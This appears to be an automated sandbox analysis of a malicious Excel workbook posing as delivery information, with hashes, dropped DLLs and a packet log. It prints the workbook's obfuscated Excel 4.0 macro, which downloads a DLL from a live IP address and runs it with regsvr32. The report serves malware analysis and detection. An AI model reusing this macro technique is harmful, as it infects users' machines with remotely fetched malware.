                                                                                                                                                Reputation:moderate, very likely benign file
                                                                                                                                                Preview: .PNG........IHDR.......q............sRGB.........pHYs..........+....&iIDATx^.Wp.G~.{"r.. H.9s.,Q.v........\..../wu..t.o..ru...+W]....vWa).Q.b&.@d.D.q....{0....GB....8...........X,&L1.0...........b...0Xa ....a..0.0.ap.@......'.*. `.#.6.,....aX..i.b.0..b.n.k...0...J1...H..7...C...dZ....a....Z..!.kp2.R...0Rl..r.A...58.V)..C.)..f.. `....L....!...p.\k.0.a.N.U.A..F.m.Y.5....'.*. `.#.6.,....aX..i.b.0..b.n.k...0...J1...H..7...C...dZ....a....Z..!.kp2.R...0Rl..r.A...58.V)..C.)..f.. `....L....!...p.\k.0.a.N.U.A..F.m.Y.5....'.*. ..W[....cfTDC.....V.....W`...Q!.JEaE....5O.{\N.p8b.5.#*.t......^...p..A.+.0cC..(.v.,.............qO....-b.0.#l.......p...w...sN]m..-c.=....L....I..T...I.3....]...r.....Ae.H%..!......O...?-.I..".4...........p...{..0..#,..........%4.;E....w..]......ga...X....#...h@.'E.'.|...I.a..J..V...!...E..?8[CQ?.'...5Qy........X..)Y..ic 0....!..Gf..4...o.R../.^..y2.'..p.....KO..v.T....~.......-]"..u9Q..i..^e..!.i".^.......C.CKV..~Ku.4"m.$>cKP...x...7
                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sat1_0609_2[1].dll
                                                                                                                                                Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                Category:downloaded
                                                                                                                                                Size (bytes):404960
                                                                                                                                                Entropy (8bit):7.130433590978038
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:6144:meqcnJoEhudrb+zBWempLPm41iTjAIDY6SJfQAWQGIWKu+9/cZYONQ:mR0JJhudrUtLpDwrEJKu+90vNQ
                                                                                                                                                MD5:9A5193A07A0389FFCBB90FC230B534D2
                                                                                                                                                SHA1:12BFC2D4A87391669A964421691ABE7BAECD6195
                                                                                                                                                SHA-256:84175BA73A6A59496E2D020D05A120E9E8E94AC3A4FDEA8FC381ACDA452BB991
                                                                                                                                                SHA-512:53E005390AA88260418C290D5476540B80CCAC408443055ABB9E4373867FF0A598187F51BA4F4892CDFF98856F995FB374557729F1688FEFA6B293E244F2126A
                                                                                                                                                Malicious:true
                                                                                                                                                Reputation:low
                                                                                                                                                IE Cache URL:http://185.180.199.121/sat1_0609_2.dll
                                                                                                                                                Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a...%.O%.O%.OJ..O?.OJ.?O..O,..O".O%.O..OJ.>O..OJ..O$.OJ..O$.OJ..O$.ORich%.O........................PE..L......`...........!.....z...........s.......................................P.......{....@.............................Q...4...P....0...................#...0..........................................@...............`............................text...}y.......z.................. ..`.rdata..AZ.......\...~..............@..@.data....9..........................@....rsrc........0......................@..@.reloc.......0... ..................@..B........................................................................................................................................................................................................................................................................................................................
                                                                                                                                                C:\Users\user\AppData\Local\Temp\8AA40000
                                                                                                                                                Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                File Type:data
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):80024
                                                                                                                                                Entropy (8bit):7.896088101246139
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:1536:zZMVmEKjBX9U8fWGHzDmf5TOlMVGoIahaDHTU6hryF70KiiAeWd:empX9U8fW2XmfU2sTU2yF70KiiQ
                                                                                                                                                MD5:28A0EC2F006425816BA8AF766BF4C76A
                                                                                                                                                SHA1:DB7785BED2F214866B48D5DC82D94D34B57CEA86
                                                                                                                                                SHA-256:444E496DC7DEEF0DC195344BF0D47BB1B0495CC9D121512C596ABF7328F97126
                                                                                                                                                SHA-512:92B26E39567B66033A10B156F51A72CFC11E8CA726A2CBDAFE922B5E0D262E9E817FDFF305D7AF78993420D4619CF52DA4C12DD8B4904ABEE94EDBBB885ABCBE
                                                                                                                                                Malicious:false
                                                                                                                                                Preview: .U.N.0.._....E...t.....$..\{.X.K.....[z..AT6y9.1g...jaM....w-;kF..'..k...]..U..S.x.-[.......2.V.v.>.p.9......p.2..D...A...F.\z...:e.6...L..T.....Ip...W.e..i...9..j..!B0Z.D..7....l.%(/_-.i0D..{.dM..&...R.(p.f...D.94.,...O)...y.k...Z....Q+..EL..RZ|a......f?I..b....).7V..o....5...=J.....~ ..#..\I!>...jdS...P..!..X&.n.^...Zh..ii...w+.C.........|.>.CE.-.........z.> .......).]."..4l..-.Q.art.!Om.j.6/...?.......PK..........!.........f.......[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
                                                                                                                                                Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                File Type:Little-endian UTF-16 Unicode text, with CR line terminators
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):22
                                                                                                                                                Entropy (8bit):2.9808259362290785
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:3:QAlX0Gn:QKn
                                                                                                                                                MD5:7962B839183642D3CDC2F9CEBDBF85CE
                                                                                                                                                SHA1:2BE8F6F309962ED367866F6E70668508BC814C2D
                                                                                                                                                SHA-256:5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6
                                                                                                                                                SHA-512:2C332AC29FD3FAB66DBD918D60F9BE78B589B090282ED3DBEA02C4426F6627E4AAFC4C13FBCA09EC4925EAC3ED4F8662FDF1D7FA5C9BE714F8A7B993BECB3342
                                                                                                                                                Malicious:false
                                                                                                                                                Preview: ....p.r.a.t.e.s.h.....
                                                                                                                                                C:\Users\user\Desktop\~$Delivery_Information_7038598.xlsb
                                                                                                                                                Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                File Type:data
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):165
                                                                                                                                                Entropy (8bit):1.6081032063576088
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:3:RFXI6dtt:RJ1
                                                                                                                                                MD5:7AB76C81182111AC93ACF915CA8331D5
                                                                                                                                                SHA1:68B94B5D4C83A6FB415C8026AF61F3F8745E2559
                                                                                                                                                SHA-256:6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
                                                                                                                                                SHA-512:A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
                                                                                                                                                Malicious:true
                                                                                                                                                Preview: .pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                                                                                                C:\Users\user\kdldyeff.dll
                                                                                                                                                Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                Category:dropped
                                                                                                                                                Size (bytes):404960
                                                                                                                                                Entropy (8bit):7.130433590978038
                                                                                                                                                Encrypted:false
                                                                                                                                                SSDEEP:6144:meqcnJoEhudrb+zBWempLPm41iTjAIDY6SJfQAWQGIWKu+9/cZYONQ:mR0JJhudrUtLpDwrEJKu+90vNQ
                                                                                                                                                MD5:9A5193A07A0389FFCBB90FC230B534D2
                                                                                                                                                SHA1:12BFC2D4A87391669A964421691ABE7BAECD6195
                                                                                                                                                SHA-256:84175BA73A6A59496E2D020D05A120E9E8E94AC3A4FDEA8FC381ACDA452BB991
                                                                                                                                                SHA-512:53E005390AA88260418C290D5476540B80CCAC408443055ABB9E4373867FF0A598187F51BA4F4892CDFF98856F995FB374557729F1688FEFA6B293E244F2126A
                                                                                                                                                Malicious:true
                                                                                                                                                Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a...%.O%.O%.OJ..O?.OJ.?O..O,..O".O%.O..OJ.>O..OJ..O$.OJ..O$.OJ..O$.ORich%.O........................PE..L......`...........!.....z...........s.......................................P.......{....@.............................Q...4...P....0...................#...0..........................................@...............`............................text...}y.......z.................. ..`.rdata..AZ.......\...~..............@..@.data....9..........................@....rsrc........0......................@..@.reloc.......0... ..................@..B........................................................................................................................................................................................................................................................................................................................

                                                                                                                                                Static File Info

                                                                                                                                                General

                                                                                                                                                File type:Microsoft Excel 2007+
                                                                                                                                                Entropy (8bit):7.870422721255186
                                                                                                                                                TrID:
                                                                                                                                                • Excel Microsoft Office Binary workbook document (47504/1) 49.74%
                                                                                                                                                • Excel Microsoft Office Open XML Format document (40004/1) 41.89%
                                                                                                                                                • ZIP compressed archive (8000/1) 8.38%
                                                                                                                                                File name:Delivery_Information_7038598.xlsb
                                                                                                                                                File size:64436
                                                                                                                                                MD5:aa12a71a4c31152958b75aa2cc0dd605
                                                                                                                                                SHA1:1709bd79ab07bc915d19b351a0c6000fafb91d70
                                                                                                                                                SHA256:201d6c214af9eea64e1882a17b2b14a789c50aa6202192b5474cd890bae4f1bf
                                                                                                                                                SHA512:87038b06a9cbf1c9654389034f2c4d0ee54ad7fd6c2348027de8e9925d977e02d08855008c3a0abccf870d01d16f1ec380749286ac70169bdd88e67ff82d5835
                                                                                                                                                SSDEEP:1536:ej3yHgwWlMVGoIahaDHTU6hryF70liWWGH0AeWj:ej3y02sTU2yF70liWW20a
                                                                                                                                                File Content Preview:PK..........!.L.......>.......[Content_Types].xml ...(.............................................................................................................''..........................................................................................

                                                                                                                                                File Icon

                                                                                                                                                Icon Hash:74f0d0d2c6d6d0f4

                                                                                                                                                Static OLE Info

                                                                                                                                                General

                                                                                                                                                Document Type:OpenXML
                                                                                                                                                Number of OLE Files:1

                                                                                                                                                OLE File "Delivery_Information_7038598.xlsb"

                                                                                                                                                Indicators

                                                                                                                                                Has Summary Info:
                                                                                                                                                Application Name:
                                                                                                                                                Encrypted Document:
                                                                                                                                                Contains Word Document Stream:
                                                                                                                                                Contains Workbook/Book Stream:
                                                                                                                                                Contains PowerPoint Document Stream:
                                                                                                                                                Contains Visio Document Stream:
                                                                                                                                                Contains ObjectPool Stream:
                                                                                                                                                Flash Objects Count:
                                                                                                                                                Contains VBA Macros:

                                                                                                                                                Macro 4.0 Code

                                                                                                                                                CALL(U, Sheet2!AV21&Sheet2!BM28&Sheet2!BK33&Sheet2!AX14, Sheet2!BJ54&Sheet2!BK54&Sheet2!BL54&BD46&BE46&BF46, 0, ht, ..\kdldyeff.dll, 0, 0)
                                                                                                                                                
                                                                                                                                                "=CALL(BQ18&Sheet2!BK50&Sheet2!BL50&BD42&BE44&BF44,Sheet2!AV21&Sheet2!BM28&Sheet2!BK33&Sheet2!AX14,Sheet2!BJ54&Sheet2!BK54&Sheet2!BL54&BD46&BE46&BF46,0,BH28&BH29&BH30&BH31,BH41,0,0)",,,,,,,,,,,,,,,,,,,,,,=Sheet2!BA14(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,U,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ht,,,,,,,,,,,,,,,,,,,,,,tp://,,,,,,,,,,,,,,,,,,,,,,185.180.199.121/sat1_0609_2.,,,,,,,,,,,,,,,,,,,,,,dll,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..\kdldyeff.dll,,,,,,,,,,,,,,,,,,M,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,o,n,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,C,B,B,,,,,,,,,,,
                                                                                                                                                ,,FileA,,,,,,,,,,,,,,,,,,,,=EXEC(before.3.13.47.sheet!BG59&before.3.13.47.sheet!BG60&before.3.13.47.sheet!BF23&Sheet1!BH41),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=HALT(),,,,,,,,,,,,"=RIGHT(""FDFGFDhfjhjhfjfgjUR"",2)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=""2 -s """,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,LDownlo,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,adTo,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,R,L,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,J,J,C,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,regs,,,,,,,,,,,,,,,,,vr3,,,,,,

                                                                                                                                                Network Behavior

                                                                                                                                                Network Port Distribution

                                                                                                                                                TCP Packets

                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                Jun 9, 2021 19:46:20.077438116 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.159682035 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.159842014 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.160325050 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.239934921 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.240262032 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.240288973 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.240304947 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.240323067 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.240376949 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.240432024 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.240446091 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.240466118 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.240497112 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.240523100 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.240530014 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.240547895 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.240614891 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.240627050 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.240636110 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.240673065 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.240693092 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.320494890 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.320538044 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.320558071 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.320573092 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.320575953 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.320600033 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.320615053 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.320709944 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.320730925 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.320753098 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.320760965 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.320780039 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.320791006 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.320812941 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.320962906 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.320992947 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.321008921 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.321014881 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.321032047 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.321058989 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.321063995 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.321104050 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.321352005 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.321372986 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.321391106 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.321404934 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.321407080 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.321435928 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.321465969 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.321516037 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.321535110 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.321559906 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.321589947 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.321595907 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.321614981 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.321640968 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.321665049 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.403484106 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.403516054 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.403529882 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.403547049 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.403665066 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.403794050 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.403821945 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.403841019 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.403857946 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.403875113 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.403884888 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.403954983 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.404297113 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.404331923 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.404350042 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.404378891 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.404385090 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.404478073 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.404844999 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.404867887 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.404892921 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.404910088 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.405241966 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.405354977 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.405374050 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.405391932 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.405406952 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.405587912 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.405916929 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.405941963 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.405956984 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.405972958 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.405993938 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.406042099 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.406568050 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.406589985 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.406632900 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.406661034 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.407226086 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.407252073 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.407311916 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.407340050 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.407749891 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.407771111 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.407826900 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.407876015 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.408324003 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.408344030 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.408360004 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.408374071 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.408392906 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.408437967 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.408684969 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.408741951 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.408744097 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.408761024 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.408776999 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.408791065 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.408827066 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.409181118 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.409200907 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.409250021 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.409291029 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.483896971 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.483937025 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.483949900 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.483963013 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.483979940 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.483998060 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484014034 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484042883 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484077930 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484097004 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484112978 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484141111 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.484158039 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484247923 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484280109 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484294891 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.484297037 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484313965 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484360933 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484378099 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484385967 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.484409094 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484426975 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484462023 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.484503031 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484520912 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484533072 CEST4974780192.168.2.4185.180.199.121
                                                                                                                                                Jun 9, 2021 19:46:20.484539032 CEST8049747185.180.199.121192.168.2.4
                                                                                                                                                Jun 9, 2021 19:46:20.484555960 CEST8049747185.180.199.121192.168.2.4
